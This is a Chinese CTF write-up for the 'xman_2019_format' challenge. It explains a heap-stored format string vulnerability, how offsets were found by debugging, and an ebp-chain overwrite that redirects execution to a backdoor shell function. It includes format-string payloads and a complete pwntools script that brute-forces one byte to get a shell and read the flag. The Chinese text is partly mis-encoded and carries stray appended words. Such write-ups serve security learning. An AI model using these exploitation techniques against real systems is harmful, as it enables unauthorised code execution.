xman_2019_format

xman_2019_format

總結

根據本題,學習與收穫有:node

  • printf的字符串,若是是在堆上,那麼就沒法在棧上寫地址利用%x$hn去修改
  • printf會一次性取出全部的偏移的地址,再去修改。不是邊寫邊修改!(結合調試過程理解!)
  • 因爲ebp寄存器會記錄一個棧地址鏈,因此能夠利用這一點特性,爆破修改這個棧地址鏈的最低字節,而後修改ebp寄存器後4個字節的內容,理想狀態下,爆破1個字節便可,並且,全部的地址都是對齊到地址頁。

題目分析

checksec

函數分析

main

sub_804869D

sub_8048651

sub_804862A

sub_80485c4

層層套娃,終於走到了最後的處理函數。strtok是字符串分割函數,分割的符號爲|python

漏洞點

漏洞點很清楚,就是函數sub_80485c4中,將傳入的字符串使用|分割後,直接調用printf函數。很明顯的格式化字符串漏洞。可是這裏要注意:字符串存儲在堆上。因此,不能在棧上寫地址,而後利用棧的偏移來向任意地址寫。所以,只能藉助棧上已有的地址,往eip寄存器裏面寫入目標地址。shell

注意到有一個後門函數:bash

只須要覆蓋爲這個函數的地址便可。函數

利用思路

所以,本題利用的思路很清晰:學習

  • printf肯定偏移測試

  • 利用棧上的地址鏈,特別是ebp地址鏈,修改中間某一個地址的最低字節,修改成存儲eip寄存器內容的那個地址debug

  • 將這個可能會被壓入eip寄存器的地址的內容,修改成0x80475AB3d

  • get_shell調試

EXP

調試過程

本題須要一步步調試出來,首先測試一下偏移:

# 輸入:%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

輸入以前看一下棧:

這個調用鏈仍是很明顯的

執行完成打印出來的內容爲:

數一下,偏移爲10

這個時候須要結合棧圖整理一下思路:

  • 首先修改0xffffceb8地址處的內容爲0xffffce9c,這裏須要修改最低的一個字節,偏移爲10
  • 而後修改0xffffce9c地址處的內容爲0x80485ab,這裏只須要修改最低的兩個字節,偏移爲18

很容易寫出最後的輸入應該爲:

%156c%10$hhn%34219c%18$hn

能夠調試一下,在printf函數下個斷點,而後觀察一下0xfffceb8的內容變化:

第一次命中斷點:

第二次命中斷點:

此處的值已經改變:

能夠看到,最低字節已經修改爲功。而後繼續執行printf,看下0xffffce9c是否是修改成目標值:

發現修改失敗了:

仍是修改的最初的0xffffcee8的內容,並非去修改的0xffffce9c的內容!這說明,printf格式化執行的時候,首先把全部對應偏移的地址先取出來,而後再去修改!

題目中,有一個|分割符,所以,只須要利用分割符分開輸入便可!

因此,最終的輸入爲:

%156c%10$hhn|%34219c%18$hn

執行了/bin/bash

完整exp

實際上須要爆破最低的那個字節,因此最終的exp以下:

from pwn import *

context.log_level='debug'

for x in range(4, 0x100, 4):
    tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn'
    try:
        sh = process('./xman_2019_format')
        # sh = remote('node3.buuoj.cn', 27180)
        log.info('current low byte:{}'.format(hex(x)))
        sh.recv()
        sh.sendline(tar)
        sh.recv(timeout=1)
        sleep(1)
        sh.sendline('cat flag')
        sh.recvline_contains('flag', timeout=1)
        sh.interactive()
    except:
        sh.close()

遠程爆破過程爲:

相關文章
相關標籤/搜索
本站公眾號
   歡迎關注本站公眾號,獲取更多信息